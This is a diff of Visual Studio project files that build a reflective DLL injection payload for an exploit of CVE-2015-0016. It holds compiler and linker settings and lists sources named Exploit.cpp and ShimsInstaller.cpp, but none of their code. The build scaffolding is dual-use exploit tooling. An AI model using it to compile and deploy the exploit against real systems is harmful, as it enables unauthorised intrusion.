|
||||||
|
Optimization="0"
|
||||||
|
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||||
|
MinimalRebuild="true"
|
||||||
|
BasicRuntimeChecks="3"
|
||||||
|
RuntimeLibrary="3"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="4"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
LinkIncremental="2"
|
||||||
|
GenerateDebugInformation="true"
|
||||||
|
SubSystem="2"
|
||||||
|
TargetMachine="1"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
<Configuration
|
||||||
|
Name="Debug|x64"
|
||||||
|
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="1"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
TargetEnvironment="3"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
|
||||||
|
Optimization="0"
|
||||||
|
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||||
|
MinimalRebuild="true"
|
||||||
|
BasicRuntimeChecks="3"
|
||||||
|
RuntimeLibrary="3"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="3"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
LinkIncremental="2"
|
||||||
|
GenerateDebugInformation="true"
|
||||||
|
SubSystem="2"
|
||||||
|
TargetMachine="17"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
<Configuration
|
||||||
|
Name="Release|Win32"
|
||||||
|
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="2"
|
||||||
|
WholeProgramOptimization="1"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
|
||||||
|
Optimization="2"
|
||||||
|
InlineFunctionExpansion="1"
|
||||||
|
EnableIntrinsicFunctions="true"
|
||||||
|
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||||
|
RuntimeLibrary="0"
|
||||||
|
EnableFunctionLevelLinking="true"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="3"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
LinkIncremental="1"
|
||||||
|
GenerateDebugInformation="true"
|
||||||
|
SubSystem="2"
|
||||||
|
OptimizeReferences="2"
|
||||||
|
EnableCOMDATFolding="2"
|
||||||
|
TargetMachine="1"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
<Configuration
|
||||||
|
Name="Release|x64"
|
||||||
|
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||||
|
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
||||||
|
ConfigurationType="2"
|
||||||
|
CharacterSet="2"
|
||||||
|
WholeProgramOptimization="0"
|
||||||
|
>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreBuildEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCustomBuildTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXMLDataGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCWebServiceProxyGeneratorTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCMIDLTool"
|
||||||
|
TargetEnvironment="3"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCCLCompilerTool"
|
||||||
|
Optimization="2"
|
||||||
|
InlineFunctionExpansion="1"
|
||||||
|
EnableIntrinsicFunctions="true"
|
||||||
|
FavorSizeOrSpeed="2"
|
||||||
|
WholeProgramOptimization="false"
|
||||||
|
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||||
|
RuntimeLibrary="0"
|
||||||
|
EnableFunctionLevelLinking="true"
|
||||||
|
UsePrecompiledHeader="0"
|
||||||
|
WarningLevel="3"
|
||||||
|
DebugInformationFormat="3"
|
||||||
|
CompileAs="2"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManagedResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCResourceCompilerTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPreLinkEventTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCLinkerTool"
|
||||||
|
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
|
||||||
|
LinkIncremental="1"
|
||||||
|
GenerateDebugInformation="true"
|
||||||
|
SubSystem="2"
|
||||||
|
OptimizeReferences="2"
|
||||||
|
EnableCOMDATFolding="2"
|
||||||
|
TargetMachine="17"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCALinkTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCManifestTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCXDCMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCBscMakeTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCFxCopTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCAppVerifierTool"
|
||||||
|
/>
|
||||||
|
<Tool
|
||||||
|
Name="VCPostBuildEventTool"
|
||||||
|
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
|
||||||
|
/>
|
||||||
|
</Configuration>
|
||||||
|
</Configurations>
|
||||||
|
<References>
|
||||||
|
</References>
|
||||||
|
<Files>
|
||||||
|
<Filter
|
||||||
|
Name="Source Files"
|
||||||
|
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||||
|
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath=".\src\ReflectiveDll.c"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath=".\src\ReflectiveLoader.c"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
|
<Filter
|
||||||
|
Name="Header Files"
|
||||||
|
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||||
|
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||||
|
>
|
||||||
|
<File
|
||||||
|
RelativePath=".\src\ReflectiveDLLInjection.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
<File
|
||||||
|
RelativePath=".\src\ReflectiveLoader.h"
|
||||||
|
>
|
||||||
|
</File>
|
||||||
|
</Filter>
|
||||||
|
</Files>
|
||||||
|
<Globals>
|
||||||
|
</Globals>
|
||||||
|
</VisualStudioProject>
|
|
@ -0,0 +1,268 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|ARM">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Debug|x64">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|ARM">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>ARM</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||||
|
<RootNamespace>reflective_dll</RootNamespace>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>true</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||||
|
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MinimalRebuild>true</MinimalRebuild>
|
||||||
|
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<CompileAs>CompileAsCpp</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX86</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>copy ..\Release\reflective_dll.dll ..\bin\</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MinSpace</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader>
|
||||||
|
</PrecompiledHeader>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||||
|
<CompileAs>Default</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Midl>
|
||||||
|
<TargetEnvironment>X64</TargetEnvironment>
|
||||||
|
</Midl>
|
||||||
|
<ClCompile>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||||
|
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||||
|
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<PrecompiledHeader />
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||||
|
<CompileAs>CompileAsCpp</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<SubSystem>Windows</SubSystem>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<TargetMachine>MachineX64</TargetMachine>
|
||||||
|
</Link>
|
||||||
|
<PostBuildEvent>
|
||||||
|
<Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command>
|
||||||
|
</PostBuildEvent>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="src\Exploit.cpp" />
|
||||||
|
<ClCompile Include="src\ReflectiveDll.c" />
|
||||||
|
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||||
|
<ClCompile Include="src\ShimsInstaller.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="src\Exploit.h" />
|
||||||
|
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||||
|
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||||
|
<ClInclude Include="src\ShimsInstaller.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
41
external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters
vendored
Executable file
41
external/source/exploits/cve-2015-0016/dll/reflective_dll.vcxproj.filters
vendored
Executable file
|
@ -0,0 +1,41 @@
|
||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
